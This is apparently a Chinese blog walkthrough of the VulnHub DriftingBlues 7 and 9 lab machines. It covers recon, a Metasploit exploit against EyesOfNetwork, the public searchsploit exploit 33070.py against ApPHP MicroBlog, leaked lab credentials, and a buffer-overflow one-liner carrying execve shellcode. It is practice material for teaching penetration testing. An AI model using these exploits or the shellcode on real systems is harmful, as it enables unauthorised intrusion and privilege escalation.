vulnhub靶场之driftingblues-7,9

一.环境搭建

1.靶场描述

因为7,9比较简单,所以两个靶场放在一块进行

get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions
      
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.
 

2.靶场下载

https://www.vulnhub.com/entry/driftingblues-7,680/
 

image-20240222155032857

https://www.vulnhub.com/entry/driftingblues-9-final,695/
 

image-20240222155055859

3.靶场启动

image-20240222155229900

靶场ip地址我们不知道。但是靶场网段我们知道是192.168.72.0/24.我们进行探测

二.信息收集

1.寻找靶场真实ip

nmap -sP 192.168.72.0/24
 

image-20240222164005524

arp-scan -l
 

image-20240222155748628

靶场7的ip地址为192.168.72.133,靶场9的ip地址为192.168.72.132
 

2.探测端口及服务

nmap -p- -sV 192.168.72.132
 

image-20240222160105566

发现开启了80端口,服务为Apache httpd 2.4.10 ((Debian))
发现开启了111端口,服务为rpcbind 2-4 (RPC #100000)
发现开启了46674端口,服务为status  1 (RPC #100024)
 
nmap -p- -sV 192.168.72.133
 

image-20240222160301393

22  OpenSSH 7.4 (protocol 2.0)
66   SimpleHTTPServer 0.6 (Python 2.7.5)
80     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
111     rpcbind         2-4 (RPC #100000)
443        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
2403  taskmaster2000?
3306       MariaDB (unauthorized)
8086         InfluxDB http admin 1.7.9
 

开启的端口有点多,首先我们一个一个进行渗透测试,我们先渗透靶场7

三.渗透测试

1.访问web服务

https://192.168.72.133/login.php##
 

image-20240222164112167

我们访问80端口可以看到是一个登录页面,可能是爆破用户名和密码,其他端口都没有有用的信息

2.扫描web服务

1)nikto扫描网站结构

nikto -h https://192.168.72.133
 

image-20240222170243083

没有有用的信息

2)dirsearch扫描目录

sudo dirsearch -u https://192.168.72.133 -e * -x 403 --random-agent
 

image-20240222165931125

扫描到/bower.json目录,我们进行访问

https://192.168.72.133//bower.json  
 

image-20240222170128339

我们可以看到版本号是EyesOfNetwork web interface 5.3,我们进行搜索漏洞

3.渗透测试

1)msf搜索漏洞

search EyesOfNetwork 5.3
 

image-20240222170522680

2)攻击模块

image-20240222170704228

3)设置参数

image-20240222170811059

4)进行攻击

image-20240222170841695

5)查看flag

我们可以看到权限就是root,那么我们直接查看flag即可

image-20240222170926869

image-20240222170946470

4.访问web服务

我们开始渗透靶场9

http://192.168.72.132/
 

image-20240222160534087

我们查看源代码,发现版本号是ApPHP MicroBlog v.1.0.1,我们可以进行搜索漏洞

image-20240222160626764

其他两个端口,访问之后是报错的,没有什么用

5.扫描web服务

1)nikto扫描网站结构

nikto -h http://192.168.72.132
 

image-20240222161302234

2)dirsearch扫描目录

sudo dirsearch -u 192.168.72.132 -e * -x 403 --random-agent
 

image-20240222161442779

两个都没有扫描到有用的信息,那么我们就从版本号开始入手

6.渗透测试

1)searchsploit搜索漏洞

sudo searchsploit ApPHP MicroBlog 
 

image-20240222183331907

使用命令将利用的脚本复制到本地

searchsploit -m php/webapps/33070.py
 

image-20240222183707507

2)执行脚本

使用python2执行脚本,我们可以看到脚本执行成功

python2 ./33070.py http://192.168.72.132
 

image-20240222183949900

我们发现了数据库用户名和密码,分别是:clapton/yaraklitepe

image-20240222184048285

3)反弹shell

image-20240222184352750

我们可以看到反弹成功,我们切换用户clapton/yaraklitepe

4)切换用户

image-20240222184647397

我们在/home/目录下发现了clapton文件夹,里面有user.txt,我们进行查看,发现了第一个flag

image-20240222184808790

5)缓冲区溢出

我们还看到了一个note.txt文件,我们进行查看,发现是一个提示

image-20240222185032057

image-20240222184943147

我们写入

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
 

image-20240222185451774

成功获取到flag

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值